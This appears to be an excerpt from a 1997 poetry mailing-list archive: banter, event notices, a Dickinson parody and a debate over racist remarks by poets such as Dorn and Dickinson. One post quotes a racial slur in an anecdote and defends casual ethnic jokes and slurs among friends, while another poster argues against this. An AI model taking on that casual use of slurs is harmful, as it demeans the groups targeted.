[nb: Bernstein uses "genetic" in both its linguistic and its biological senses here, obviously way ahead of his time once more in predicting a major portion of the "Ebonics" debate -- the comma that appears after the word "research" is, in fact, a genetic marker of irony, and statistical analysis indicates that there is only a 1 in 50 million possibility that anyone other than Charles Bernstein could have left this marker at the scene -- lastly, for those of you who have recently inquired about the seemingly absent Loss, he is completing the irony detection program at a secret off-campus s(c)i(gh)te.]

as ever, yours,
the gnomon of Zurich

↑ Index

611. **Mark Weiss**
Re: Irony & Emily
Wed 19 Feb 1997

Yo, Bromige, lay off the cheese, it'll kill you. Gazelle meat, on the other hand, is low on fat and swift to digest.

At 10:12 AM 2/19/97 -0500, you wrote:
>is it just lil old me trying to "save the appearances" or is there a
>Swiftian ring to Dickinson's sentiments re my people? (I am not actually
>descended from irish stock, but since the whole world wants to be, it wd be
>egregious of me to exclude myself).
>
>I have much pleasure of the "o my god" string, thanks Wendy & Eliza &
>Aldon. And good on you, Mark W, for taking the kidding so well. I had some
>bad moments during the night, feeling i had shown my less-than-charitable
>side to the List. I can only pray that one of these midnights, euphoric &
>heedless on Diet 7-Up and Manchego cheese, I dont reveal the names--and
>they are of many nations--of all those poets I had throttled & dumped in
>the river. Weird percussion aids, end-rime, end-runs around beautiful
>obstacles, the sixpack drunk with a fellow-poet, ghazals, gazelles (beauty
>& grace of), sestinas, Dad's pocket-fluff, Mom's hemline, the hole in
>Sissie's wall--they were sucking for a bruise. But still, I have my
>regrets. db
>
>

↑ Index

612. Alan Jen Sondheim
Re: Irony Emily
Wed 19 Feb 1997

And, We're Not related!

Jennifer!

On Wed, 19 Feb 1997, Miekal And wrote:

> *David Bromige wrote:*
>
> *I am backchanelled by one of our number inquiring as to why I have regrets.*
> *I have regrets because all the importrant anthologies are now being edited*
> *by close relatives of those poets I had bumped off. Nuff said? db*
>
> *well david, you & I & alan (jennifer) will just have to make our own*
> *anthology,now wont we? we can call is New American Poetry.*
>
> *miekal*

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
Tel. [redacted] CuSeeMe: 166.84.250.149

↑ Index

613. Maria Damon (Maria Damon)
Re: poetry reading/performance
Wed 19 Feb 1997

looks fab

> *poetry readings by NATHANIEL MACKEY*
> *with Hafez Modirzadeh and Royal Hartigan (reed/percussion)*
>
> *Monday, February 24th, 8 pm*
> *with ED ROBERSON, Hafez Modirzadeh, and Royal Hartigan*
>
> *College Hall*
> *Livingston College*
> *Rutgers University*
> *New Brunswick NJ*
>
> ———————————————
>
> *Tuesday, February 25th*
> *with FULL MUSICAL ACCOMPANIMENT*
> *by Hafez Modirzadeh and Royal Hartigan*

> *Poetry in the Round*
> *(Jeffrey Gray, Director)*
> *Seton Hall University*
> *South Orange, NJ*
>
> *Backchannel for more info:* [redacted]
> --

↑ Index

614. Rachel Loden
Re: oh my god
Wed 19 Feb 1997

Wendy Battin wrote:

> *Huh? the rubber suit and feathers was the literary part.*

Little cousins, how quickly you forget!

"Hope" is the thing with feathers --
That trembles in the soul --
And likes to get its punishment --
Restrained with chain -- and ball --

Sings sweetest -- in its rubber suit --
And sore must be its form --
'Tis best to bash that little bird
Then slowly -- make it warm --

It chirrups in its manacles --
Perfects its treacly Plea --
Yet, never, though the belts are taut
It ever asks -- the Key --

Emily D.

↑ Index

615. Maria Damon (Maria Damon)
Re: stein query
Wed 19 Feb 1997

---

do you know of the big brouhaha in modernism modernity, picked up by the chron of higher ed and the forward (jewish newsweekly), stein's support of the vichy gov? i have a more diffuse article in modern fiction studies, on stein, jewish social scientists and the "jewish question."

> *i'm writing about the politics of stein's later work, and just a few weeks ago someone mentionned a piece on stein's republicanism at http://www.slate.com/. i couldn't access it and so would like to try to get in touch with the author. anybody remember/know about this? please backchannel ([redacted]).*
> *thanks,*
> *jill mccartney*

↑ Index

616. **tim_wood**
Re: the academy of evil poets
Wed 19 Feb 1997

> *Those of you working in the computer industry might have a harder time getting hold of the source here, but listmembers in the academy should be able to track it down w/ relative ease*

poets only exist in the academy and the computer industry? no wonder commentators accuse poets & poetry of irrelevance
<wink>

Tim Wood

↑ Index

617. **David Israel**
Re: the academy of evil poets -Reply
Wed 19 Feb 1997

> *poets only exist in the academy and the computer industry? no wonder commentators accuse poets & poetry of irrelevance*
> *<wink>*
>
> *Tim Wood*

or,

they say many's the slip
betwixt the cup & the lip

& several do sail thru & free --
'tween the devil & the deep blue sea

d.i.

↑ Index

618. Steven Marks
Inefficient Latinate Ribosome
Wed 19 Feb 1997

Inefficient Latinate Ribosome
Processes Richard Kostelanetz's
"String Two" (Heaven Bone #10)

Twome menter terocity,
Tiso latend deroto.
Genic plesbia mater,
Erminus enderlo.

Irim nisceliba;
Ipso facto, acco.
O gentic gratia!
Terri ficti omatopo.

Ambi epsilo erebrum
Agenit ophis ducati,
Togeny phoman celer
Ratem pestuo resyri.

Ronto! Tolo! Neco!
Braci! Ravi! Tympani!

Samples of reviews, criticism and poetry at

http://members.aol.com/swmarks/welcome.html

↑ Index

619. Wendy Battin
*oh my g*d, w/feathers*
Thu 20 Feb 1997

Fish, flesh, or fowl come. End all bummers long,
Whatever is forgotten, Dorn, or lies.
Bought by that textual music, all detect
Mongers of a single idiolect.

Willem Butter Ates

Rachel Loden wrote:
Little cousins, how quickly you forget!

"Hope" is the thing with feathers --
That trembles in the soul --
And likes to get its punishment --
Restrained with chain -- and ball --

Sings sweetest -- in its rubber suit --
And sore must be its form --
'Tis best to bash that little bird
Then slowly -- make it warm --

It chirrups in its manacles --
Perfects its treacly Plea --
Yet, never, though the belts are taut
It ever asks -- the Key --

---------- Wendy Battin (home)
http://camel.conncoll.edu/ccother/wjbat/ (CAPA)
http://shain.lib.conncoll.edu/CAPA/capa.html (Multiple Poetics)
http://www.geocities.com/SoHo/Lofts/5471/index.html

↑ Index

620. **Mark Weiss**
(no subject)
Thu 20 Feb 1997

Just had dinner with a group that included three other subscribers to the list. The subject of some recent threads came up, and I homed in on what I have found disturbing. I would guess that we all have a few opinions that others might find odd--even me. If I present mine in the form of dismissive adjectives that I expect everyone to agree with I don't invite the possibility of discussion, and I don't offer any enlightenment. I could, instead, treat the poet an aspect of whose work I find offensive with some respect, enlarging on what I find problematic, and presenting chapter and verse. No one may agree with me, but at least they'll understand my rationale and have the option of engaging with it. Not a bad goal for a poetics list.

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621. **Tosh**
(no subject)
Thu 20 Feb 1997

I still know nothing of Dorn and Clark's politics and feelings. I feel I need some example of their work.. So far it seems to be two men who have either a dark sense of humor or a sense of irony, or perhaps just evil. Whatever, I still think

that a writer's work should be judged on his work and not his life, racism, or politics. For all I know they may have regrets for their comments. I just don't know. Perhaps they're wasted on their own problems, again I don't know. What we do know is their work (if we read it) and that is what we should be commenting on.

Of course I just had three glasses of red wine, so what do I know...

yours,

Tosh Berman
TamTam Books

↑ Index

622. **Bil Brown**
Re: poetry reading/performance
Thu 20 Feb 1997

Great Nate Mackey. Love that boy!!
bil

↑ Index

623. **Dan Raphael Dlugonski**
most artists are other people
Thu 20 Feb 1997

---

or maybe this should subjected most artists are worse people than artists. i feel i come out best in my art, more principle, more vision and intelligence. dan raphael the poet is a lot more interesting, perceptive and balanced a person than my regular world self. can you separate the person form what they produce? yes and no. i feel that to do intense and moving art you are working some edge of subconscious. perhaps then you are doing other work to support yourself. or because you cant conventionally support yourself you work some edges of health, sanity, substance misuse. the quality of the art does not directly correspond with how well the person reacts to various ethical and spritual demands of day to day life. i am not making excuses, just saying that a persons maturity, karma and general focus may not directly relate to the quality of er work.

dan

↑ Index

624. Henry Gould
so long
Thu 20 Feb 1997

Well, folks, it's time to saddle up Old Whither, me & my unshakable sidekick Spandrift are riding out. The fare's too rich, I need to fast for a while. Some of us like the sound of our own e-voice; now the aftertaste of my own wretched chatter & puerile comments leaves me sick at heart. I understand this is a mixed medium & a friendly home away from home, yet as one of the worst offenders I applaud those with some restraint - here's to honest questions and comments on matters of substance! It's hard to resist, especially for a day-jobber; Jack says "count me out buddy", but I myself may be back someday soon as a lurker. See if I ain't! Sincere thanks to all kindly spirits & intelligent pals, this is a remarkable corner of the litewawy woods. Please don't email any condolences etc.! I'm still at [redacted] for reasons d'etat or so on. For those of you whom it pleaseth to sow the wind, I leave you with a note from an old cellmate of Jack's name of El Bardo: But when I came alas! to wive, / With a hey, ho, the wind and the rain, / By swaggering could I never thrive, / For the rain it raineth every day. - Henry Gould

↑ Index

625. Chris Stroffolino
Re: POETICS Digest - 18 Feb 1997 to 19 Feb 1997
Thu 20 Feb 1997

How nice, when the DIGEST FORM is small enough so I don't have to download and then later sign back on, etc. (a rare day)

This may address (not answer) some of Jordan's questions
("where was the emphasis in some trees? were cliches a tragedy?"):
one thing that might be said about a line like
"No more odes, the dood doctor said,
come in with something distressing"
is that it is another one of Ashbery's many "I got your PRESCIPTIVE GAME number" to Harold Bloom, your "ruin the sacred truths shit attempt to elevate WORDSWORTH and retract on BLAKE ("skyscrapers going up to the sky, people
going down to the ground"--dylan) and all the ideological
implications---remember Bloom WAS a radical in the 50's and early 60's and I am grateful to him for the fact that Shelley was part of my undergrad curriculum in a way, say, Beddoes was not--despite smug Benjy Brown (god rest his soul?) who divided Shelley's phases up into "Mad Shelley" "Anarchist Shelley" "Atheist Shelley" etc. Fuck him, he was a Shakespearean. Whatever

that meant. I dropped the course to take my 6th with the guy who turned me
onto the beats, Brackhage, Fassbinder and Bloom (last time I saw him he told
me he felt guilty for teaching the visionary company all these years and got
some NEW book on the romantics, perhaps edited my McGann i forget don't
quote
me and how it just seemed so bland (article in this week's NEW YORK PRESS
on
creative writing departments (fiction but could be applied to poetry too) "Am
I bland enough"?---
So I was a lopsided englsh major but I wanted to ask Jerome Rothenberg if
he'd sanction my hunch I mean theory
(IN MEMORY OF MY HUNCHES,hmmmm, coming soon to a NO BOOK near
you) that they
felt betrayed by Bloom as he began leaning like the tower of PISA away from
the prison which OLSOn took from pound and towards the James Merrill and
May
Swenson (not fur person Sarton) side of Ashbery instead and one of the RIFTS,
like the developing rift between AM and FM music around the same time, the
center not being able to hold after "some folks are born silver spoon in
hand, lawd don't they help themselves, y'all" and even stevie wonder more POP
than HIP (he bible, they say--Cixous, Dickinson) and "can't the bad guy win
every once in a while" reached #1 (smirched, worm-eaten) but it didn't matter
(STAIRWAY TO FREE PEARL BIRD JAM FOORBALL) and so he could claim the
authority of BLAKE et al and put it in MERWIN (even as he could still be
perceived as a radical who broke down STULTIFYING ACADEMIC
PERIODIZATION
(helen liked when I was in that groove) even though he (I'm still talking
BLOOM) had to use FREUD (UGHHHHHHH!) to do so and already turned his
back on
emerson and in this sense followed the fashion as much as he made it so the
FREUD-WORDSWORTH SIDE won out (evident in his emphasis on Tragedy in
his
recent Shakespeare) and McWorkshops fed it and the PAST GREW more distant
and
THE MAINSTREAM broke with tradition de facto
if not de jure
THE AVANT GARDE broke with tradition de jure but not
de facto.
Is the distinction between Bukowski and Berrigan really
that great? (I mean there' a perspective in Bukoski and
Berrigan and Marvin Bell are the same, or is that just
a reductive reading of the "language poetry"?)

How petty! Yes, Harold, poets are characters in a play
(she is anyway--flipside is better)--but WHICH play?
"UH, DUH, THE PLAY OF SIGNIFIERS"
Right answer, but out of character.
Remember your stake in pathos.
It's your responsibility for us confessionals lop-
sided in the human pole of myth. Our stock is
dropping without you. Your stock may drop without us,
but only to those who still think MALLS are disgusting
(guiliani spar, editor of K-MART, a CHAIN mag)
and we'll let them play to the youth market
(elvis needs boats--latest routledge catalogue?)
THE AUDACITY of the MLA holding a special session
whose main purpose was to determine whether
CULTURAL STUDIES is dead." Is anything else ALIVE?
PROVE IT. hire me.
I know a woman (email solely) named Lisa Kenyon
who couldn't even get her PUNK MUSIC panel accepted
last year. How did Gillian McGain pull it off?
(uh oh the town vs. gown thread could be triggered
by this one) and Jameson appeals to thre AUTHORITY
of GANG OF FOUR and TALKING HEADS (like the way
Ulysses abuses poor Achilles, according to Thersities
at least, who IS a reliable observer in this case)
and I'm so SICK of the canonization of CHINA--
almost everything in THE FIRST WORLD, FACE VALUE and
C.A. is better (r.i.p. pig xiaping---to be "credited" for
"market economy" which is the same as the tomkin
square crackdown) and I'm also noticing (but not
necessarily sick of) the canonization machinery
surrounding Bernstein's (or should I say Charles')
LINE poem and
I'm WITH YOU IN ROCKLAND (rockville)
all of you who were disappointed by the fact that he
(Jameson) didn't talk about the HEADS or the GANG
(no one I know calls them that, though when me and
George acted out "we all have good intentions but all
with strings attached" to make a mockery of "air-
guitar" night Andy wrote us up as "disjointed chrysanth-
emums swaying in the wind") or that Clint Burnham
didn't let himself talk about P.J Harvey or Pavement
enough (allegedly Christgau in this week's voice talks

about Ashbery's influence on PAVEMENT--I gotta get)
(and why did JONI MITCHELL recently express her disgust
with poetry? Would she have said this 20 years ago?)
"as serious artists deserving of close readings"
and cultural studies is not a term in the ode-distressing
polarity with which I started. Bloom ignores it
largely. Ashbery doesn't at places. So is this just a
parlour game?-----
(to post this to the whole list would be a kind
of "he's always making love to the whole world" (sic))
Thank you Andrew Epstein for notes on Second Ave.
And yes Mark Wallace, Everyone is a poet sometimes...
even poets! -----Chris Stroffolino

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626. Kathleen Crown

poetry reading/performance

Thu 20 Feb 1997

---

poetry readings by NATHANIEL MACKEY
with Hafez Modirzadeh and Royal Hartigan (reed/percussion)

Monday, February 24th, 8 pm
with ED ROBERSON, Hafez Modirzadeh, and Royal Hartigan

College Hall
Livingston College
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_____

Tuesday, February 25th
with FULL MUSICAL ACCOMPANIMENT
by Hafez Modirzadeh and Royal Hartigan

Poetry in the Round
(Jeffrey Gray, Director)
Seton Hall University
South Orange, NJ

Backchannel for more info: [redacted]
--

↑ Index

627. **Sherry Brennan**
Irony Emily
Thu 20 Feb 1997

This thread has been very important for me. I didn't know anything--literally--about Dorn as a person prior to the conversation on this list, although I had read and like what I have read. And I have never seen a discussion in print of the quotation below that Aldon Nielson quoted from Dickinson.

These are serious issues--not just because I have both Irish and Jewish great-grandparents (as well as British and German and Hungarian and Czech ones). But because they speak loudly about our own education(s) and culture--as Nielson says.

My professional training is as an Anglo-Saxon scholar, although I left the field before finishing the final degree. One of the most valuable things I have ever done, though, is a close reading of the emendations and footnotes of various 18th, 19th and early 20th century editions of Anglo-Saxon texts. The 19th and 20th century editions of _Beowulf_ are used by these editors (and by some of the scholars who based their work on these editions) up to the time of WWII to make the argument that the germanic race was genetically superior. The places where these arguments get made in Beowulf are situated around holes in the text -- literal holes in the text, where the ms. was burned or cut or cannot otherwise be read now. Early editors of the AS texts would fill in these "holes" with their own emendations, and then shore up their "emendations" with cultural explanations of how the text, the poem, works to make that particular emendation the only proper emendation.

The question of how one reconciles (or doesn't) the relation between persons (writing or reading) and texts is wrapped up in all kinds of theoretical, textual and philosophical debates. The question of how one reconciles (or doesn't) the relations between persons and persons, nations and persons, is even more difficult. There's no simple way to talk about the ways that an Anglo-Saxon scholar may have "shored up" colonialism as systematic political and cultural oppression by his or her emendations of a phrase in Beowulf. After Auschwitz (to quote another thread months past) it seems better to address the issue than to sweep it under the rub. rug, I meant.

Daily I wonder in what ways my own limitations, assumptions, inabilities, failures--my own unacknowledged or unknown immersions in our culture(s)--get inscribed into my writing or into my reading. How I use the body of the text as my own body. autoingest? or others bodies.

Will I eat my words. cuts. these holes. poems. her poetry. need as well. as need. our. us. conversation.

sherry

> *"Vinnie and I say masses for poor Irish boys souls. So far as I am concerned I should like to have you kill some--there are so many now, there is no room for the Americans..." Emily Dickinson*
>
> *One conversation helps us to understand something about her poetry -- the other conversation helps us, perhaps, to understand something about our culture that we probably need to understand as much as we need her poetry*

Sherry Brennan
Development Research
The Pennsylvania State University
[redacted]

↑ Index

628. **Sherry Brennan**
no subject
Thu 20 Feb 1997

Just checked and realized I spelled Aldon Nielsen's name wrong. Should be Nielsen not Nielson.

↑ Index

629. **robert drake**
--- the user dictionaries ---
Thu 20 Feb 1997

> *Mime-Version: 1.0*
> *Date: Wed, 19 Feb 1997 20:11:39 -0800*
> *To:* [redacted]
> *From:* [redacted] *(Christine Lorenz)*
> *Subject: --- the user dictionaries ---*
>
> *graphomaniacs,*
> *ideologues,*
> *exhibitionists,*
> *lend me your lexicons...*
>
> *- - - - - - - - - - The User Dictionaries - - - - - - - - - - - -*

> *< http://www.arts.ucsb.edu/~lorenz/dictionaries >*
>
> *Every time you click "save" when you spell-check, you make a deposit into a semi-conscious crypto-self-portrait that resides in your hard drive.*
>
> *Make yours public. Find your User Dictionary file -- attach it to an e-mail message that includes the software version that it came from -- and forward it to the address below.*
>
> *No user dictionary is too small, too mundane, or too cryptic.*
> *Anonymity respected if requested.*
>
> - - - -> [redacted]
>
> -
>
> *(g i v e w i d e s t d i s t r i b u t i o n)*
>
> =-
>
> *Christine Lorenz*
> [redacted]

↑ Index

630. **David Bromige**
taking a break
Thu 20 Feb 1997

Dear Listmates, I'm taking a few days off, and if I can figure how to retract my electronic umbilical, will be reachable backchannel only (and even there, expect delays). I'll miss you all. db

↑ Index

631. **Mark Weiss**
Re: Irony Emily
Thu 20 Feb 1997

That Emily Dickinson participated in some of the less appealing aspects of the culture of Amherst, Massachussets, then, as now (despite the heavy academic layer imposed upon its essential redneckedness) is only surprising because we have made her into a saint--far less surprising, at any rate, than finding out what Mabel Loomis Todd and big brother were doing under the dining room table while Emily and Sis covered for them (did she stand in the doorway in her prim white dress and watch?). As a cultural artifact the guilty letter tells us that Yankees didn't like Irish, as if this needed further confirmation. It doesn't enter into the oeuvre. Now, a critique could be worked up about what gets included and what not in the poetry, and from there to what the unstated purpose of poetry was seen to be by Miss D and her coevals, and that would be an interesting discussion regardless of who its focus--I think we all, despite the huge broadening of the field accomplished for us by the surrealodadaists, Olson, Pound, Williams, etc., tend to segregate our opinions and concerns to one extent or another into poems, prose, email, dinner conversation, letters to the editor, etc., and the choices and mechanisms thereof are at the heart of practice. If I say I write by "dictation" in whatever way I mean that, how do I explain that my radio angels or ghosts push some products more than others? This exploration around the edge of practice being in fact a central concern of my own practice. But for her own reasons, unlike Pound, say, as Yussl Rothenberg has pointed out, it doesn't enter into ED's poems. Not ED Ed Dorn, not ED Lady in White. Look, I've never known too many people (I think I just invented a new form of modifier) who never tell or laugh at ethnic jokes, who never use racist terms, etc. Most of us, unlike say Jessie Jackson (Rothenberg's example, this time at dinner) or Ed Dorn or Tom Clark, try to be aware of who's in the room (although I can tell you that as an astereotypical looking Jew I've heard more than a few odd things from people who make the wrong assumption). And almost all of us are smart enough not to publish the stuff. But the occasional random spoken offensiveness and that one piece of published foolishness, both possibly conceived and produced on one sort of bender or another (understandable if inexcusable) shouldn't keep this (or any) crowd away from _The North Atlantic Turbine_, _20 Poems_, _Gunslinger_, _La Gran Apacheria_ (try to find the first, comic-book version), etc., where they'll find none of that foolishness. And while I'm at it, let me reminisce for a moment. I remember when my then roomie Chuck Stein, as part of his effort to get me up to speed, read me the opening pages of GS across my daffodil coffee table (daffodil was what the paint co. called it. The table was all of six inches tall, but we sat on floor cushions like a pair of pashas). I was then and remain incredibly excited by the rhythms of that

opening, the break from the regularity of "I met in Mesilla/the Cautious Gunslinger" into "with slender, leather-encased hands/casually folded to make his knock," the impetus of which sprung us into a very long night and dawn reading aloud the first two books (that's all there were), doping out (and we ere a bit) all the possible ways of sounding it, because hitting the beat meant getting the sense and the syntax. And I remember the months-long anticipation, waiting for the next parts to appear, the rumors of whatever might be going on at the publisher's, all that stuff, because we had to know what happened next, where would he take it, could he pull it off? Look, Dorn fucked up in public, but he also invented the Literate Projector--feed it visuals, it turns them into words. I've said my piece. By the by, I don't have my books beside me, and I probably screwed up the lines from Slinger. All the more reason to check it out yourselves.

At 09:14 AM 2/20/97 -0500, you wrote:
>This thread has been very important for me. I didn't know
>anything--literally--about Dorn as a person prior to the conversation on
>this list, although I had read and like what I have read. And I have never
>seen a discussion in print of the quotation below that Aldon Nielson quoted
>from Dickinson.
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>greatgrandparents (as well as British and German and Hungarian and Czech
>ones). But because they speak loudly about our own education(s) and
>culture--as Nielson says.
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>have ever done, though, is a close reading of the emendations and footnotes
>of various 18th, 19th and early 20th century editions of Anglo-Saxon texts.
>The 19th and 20th century editions of _Beowulf_ are used by these editors
>(and by some of the scholars who based their work on these editions) up to
>the time of WWII to make the argument that the germanic race was genetically
>superior. The places where these arguments get made in Beowulf are situated
>around holes in the text -- literal holes in the text, where the ms. was
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>Anglo-Saxon scholar may have "shored up" colonialism as systematic political
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>address the issue than to sweep it under the rub. rug, I meant.
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>Daily I wonder in what ways my own limitations, assumptions, inabilities,
>failures--my own unacknowledged or unknown immersions in our culture(s)--
get
>inscribed into my writing or into my reading. How I use the body of the
>text as my own body. autoingest? or others bodies.
>
>Will I eat my words. cuts. these holes. poems. her poetry. need as
>well. as need. our. us. conversation.
>
>sherry
>
>
>>"Vinnie and I say masses for poor Irish boys souls. So far as I am
>>concerned I should like to have you kill some--there are so many now,
>>there is no room for the Americans..." Emily Dickinson
>
>>One conversation helps us to understand something about her
>>poetry -- the other conversation helps us, perhaps, to understand
>>something about our culture that we probably need to understand as much
as
>>we need her poetry
>
>
>Sherry Brennan
>Development Research
>The Pennsylvania State University
>[redacted]
>[redacted]
>
>

↑ Index

632. **Mark Weiss**
(no subject)
Thu 20 Feb 1997

I should _never_ try to write before coffee. The opening salvo of my last should read:

"That Emily Dickinson participated in some of the less appealing aspects of the culture of Amherst, Massachussets, then, as now (despite the heavy academic layer imposed upon its essential redneckedness) a hick-town,..."

↑ Index

633. **Aldon L. Nielsen**
Re: Irony?
Thu 20 Feb 1997

Actually, I know quite a few people who never use racist terms --

What does or does not enter into the "ouevre" of Emily Dickinson is not so neat a question, now is it -- as she did not publish herself to the world --

It does enter into the published verses of Pound, Williams, Cummings, Stevens, Loy, jumping ahead Wieners, Baraka, Kerouac, JOnas,,,

Is there some wall betwixt poems and "other" stuff we are not supposed to look over? The fact that "Yankee" prejudices existed does not strike me as a reason to continue to accept their non-surprising existence -- Isn't it in fact because people are not surprised to hear racist terms that they go on being used with such casual frequency?

enough -- I've got to go meet with some students

↑ Index

634. **Miekal And**
'pataphysical sobriety test
Thu 20 Feb 1997

Been busy htmling the last few days instead of doing the usual sideline commentary on the poetics list & came up with a linked rendition of "Quantum 'Pataxerogeny: A hypertext in 37 quanta" & have made two of more of my 'pataphysical hypercard stacks available for download. You will find these ubuesque appetizers at:

http://www.net22.com/qazingulaza/pataphysics/pataphysics.html

or if you want to just check out our complete site (which is 95% tweaked) drop in at:

http://net22.com/qazingulaza

& if you still are not cross-eyed or satiated I have just completed the first version the The Internalational Dictionary of Neologisms, words collected by The Avant Garde Museum of Temporary Art since 1985. There are still some weird gibberish characters Ive yet to tweak out but it is mostly accessible (this address may not be its final home):

http://net22.com/neologisms

---

cross-eyed & satiated

miekal

↑ Index

635. Aldon L. Nielsen
Re: taking a break
Thu 20 Feb 1997

David -- when telling you how to retract the umbilical I forgot to mention that you should tape a silver dollar over it afterwards if you want an "innie" --

yours from omphalos,
the vassal of concreteness

↑ Index

636. L. Mac Mahon and T.R. Healy
evil poets
Thu 20 Feb 1997

Hard to make any judgement stick when a tonal change is enough to put a safe distance between us and our statements, never mind appeals to indeterminism, group myopia or even (gasp) growth. All the same, though we might have broken dogmatism up for parts, the appetite for a stonefest is as insatiable as ever. Which was perhaps why political correctness was invented. The appearance of humanism yet all the fun of the chase. Unfortunately, not all baddies are so obliging as to declare themselves in their utterances. At least some of the real bastards take care to get the palaver right. Which is not to suggest that words cannot do lasting harm. But spare a thought for the slickos.

best wishes,
Randolph Healy.

↑ Index

637. Thomas M. Orange
Louisville Report
Thu 20 Feb 1997

day one of the 25th annual twentieth-century literature conference here in beautifully warm louisville ky (compared to london ontario that is), and i stand here at an email terminal in the ekstrom typing away. some 400 presenters here, and tho poetix in my opinion has received the short end of the stick in past louisville conferences, it seems as tho we're holding our own this year. i just sat in on the following panel:

the modernist long poem: pound, sitwell, and stein. andre stipanovic, rutgers u, "ezra pound's coming of war in the long poem: persona and the historical narrative in `near perigord' heather hewett, u of wisc-madison, "waves of words: the tide of primitivist discourse in edith sitwell's gold coast customs" amy feinstein, u of wisc-madison, "`an invitation suffices for the present': the abstract affair of stein's stanzas"

there are some other interesting panels going on now that i am missing: one on elizabeth bishop, another on latin american poetry (borges, olga orozco, and minerva margarita villarreal), as well as poetry/fiction reading (richard m. henry, nancy kuhl, gary geddes, and catherine francis).

i see a lot of fellow grad students strolling the halls and walkways here, wondering if this is all nothing more than a c.v. line-item. but i've liked what i've heard so far.

tomorrow is the tom orange and dave chirot pound-williams-baudelaire- kerouac-grenier show (debra parr had to bow out). michael boughn is supposedly about, and i'm hoping to meet maria damon and mark scroggins as well. i did make a point of swooping down on the publishers' book display table and snatchin up in my grubby claws a copy of mark's new zukofsky anthology, as well as a lovely copy of the rothenberg/joris anthology.

damn this telnet connection is slow. more later, t.

↑ Index

638. Aldon L. Nielsen
Re: Louisville Report
Thu 20 Feb 1997

PLEASE continue the report from L'ville -- I haven;t been able to attend in recent years and will much appreciate any and all news --

↑ Index

639. **Mark Wallace**
this message is unintended for the list
Thu 20 Feb 1997

Actually, I wouldn't say this in public, but if there were more accidential private postings to the poetics list, the whole thing might be more interesting. So, please, reserve your public commentaries for personal friends who are willing to bear it, and send us only your heartfelt hidden secrets.

mark wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

640. **Gwyn McVay**
this is not a message
Thu 20 Feb 1997

```
  /////____
 / @|   / \\
 \_ |\\-
```

ceci n'est pas un poisson and in any case it was private and not for you.

Gwyn

↑ Index

641. **Mark Roberts**
Re: this is not a message
Thu 20 Feb 1997

> ```
> /////____
> / @|   / \\
> _ |\\-
> ```
>
> *ceci n'est pas un poisson and in any case it was private and not for you.*
>
> *Gwyn*

Don't worry I didn't read it.

Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Phone 93517710
Mobile 015063970
Fax (02) 9351 7711

↑ Index

642. **Matthias Regan**
Re: this is not a message
Thu 20 Feb 1997

---

n'est pas
n'est pas
n'est pas
n pa 'est pa
n'est pa n'est pa n'est pa

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

↑ Index

643. **Mark Weiss**
Re: Irony?
Thu 20 Feb 1997

At 08:47 AM 2/20/97 -0800, you wrote:
>Actually, I know quite a few people who never use racist terms --

Well, Aldon, I guess that makes thou and thine holier than I and mine. In the multiethnic neighborhoods I have always inhabited we have never been quite so pure. We all told and tell ethnic jokes, play with "foreign" words and accents, call friends of other persuasions and origins by names that would get an LA cop in trouble. Back in prehistory I was working with Bayard Rustin, who would close shop sometimes after a very long day by saying, "Alright, white boys, let's go home," to which us white boys would answer, "Who you callin white boy, nigger?" We must have all been unreconstructed racists. Or maybe context matters and sometimes informs political correctness. Your friends, in fact, may be

hypercareful around you, lest they be judged. But if you guys really are that pure, I think I'd rather hang around my own streetcorner. We may be nasty, but we do have fun.

> *What does or does not enter into the "ouevre" of Emily Dickinson is not so neat a question, now is it -- as she did not publish herself to the world --*

Archness is so unbecoming. And let me point out, as it doesn't always happen, that I did spell oeuvre correctly.

> *It does enter into the published verses of Pound, Williams, Cummings, Stevens, Loy, jumping ahead Wieners, Baraka, Kerouac, JOnas,,,*
>
> *Is there some wall betwixt poems and "other" stuff we are not supposed to look over? The fact that "Yankee" prejudices existed does not strike me as a reason to continue to accept their non-surprising existence -- Isn't it in fact because people are not surprised to hear racist terms that they go on being used with such casual frequency?*

One can accept that something existed without condoning. No matter how little I accept the prejudices of the long-dead, or the living, they won't go away.

Let me say it again--it's not the racist terms that hurt--it's the context in which they are used. Some people can call me jewboy and it's a joke, others, it's fighting words. But hopefully we'll never have a color- or ethnic- or gender-blind world--differences--not stereotypes--are there, and they're interesting. Stereotypes are interesting, too, but that's another discussion.

I guess I'm making a plea for some other kind of sense--look over all the walls you want to, but don't let what you find make you blind. Check out, and study, the public and private crimes, but note that poet a or b decided which of his faults to censor. Otherwise litcrit becomes tabloid lit-tittilation.

I was also, I hoped, opening a different thread that I think is important. We all do put walls between various kinds of discourse. Dickinson didn't find anti-Irish sentiment appropriate for her poetry. That's interesting. Pound included anti-semitism but not shopping lists. I sometimes include shopping lists but not Polish jokes. These are not always conscious decisions, and the boundaries are flexible and malleable; we do, most of us, impose such restrictions, however, in response to some internal rules or other of decorum. The nature of that decision, and the fact that there is such a process, is of the essence of most of our practice. If it were not so, we'd be chanting our native woodnotes wild in the strangest of places.

Go lecture your students.

↑ Index

644. **Christopher Alexander**
Re: : D is all we get of the cat (your summary axe)
Thu 20 Feb 1997

---

back after being too busy at work.

Jordan freights:
> I blieve, Chris Alexander, if that is your name --
> that the guiding logic at work here is oppositional -- viz Hank
> Lazer's opposable poetries, viz Bob Perelman's we is another poem,
> viz Ron Silliman's comments here and Cap-l -- I belive that Bruce
> &rews is relentless in his opposition, and that of the lpoets maybe
> only Charles B has gone on to oppose opposition and maybe he hasn't
> --
well, yes but then again this seems to be only a
handful of names--& while the acts associated
with those names have been & continue to be
very important, & while that work is certainly
among the most conspicuous from one vantage,
that doesnt necessarily establish theirs as
the guiding logic--which in fact seems to be
what you rightly pointed out earlier.

unless you just mean that theirs is the logic
thats guiding this conversation--the thread on
zoos & whatnot is what were discussing, right?--
in which case I think youre partly right, though
again I wouldnt say its the exclusive logic.

obviously the rhetoric of opposition
(& marginalization) persists after
L=A=N=G=U=A=G=E--as someone mentioned
elsewhere not too long ago ["could we get more
vagaries down here?"], with the titles of some
recent anthologies its difficult to say where
exactly we suppose ourselves to be writing from--
or maybe not difficult enough?--but Im really
not convinced that it has to be read as the dire
endemic or retarding condition its sometimes
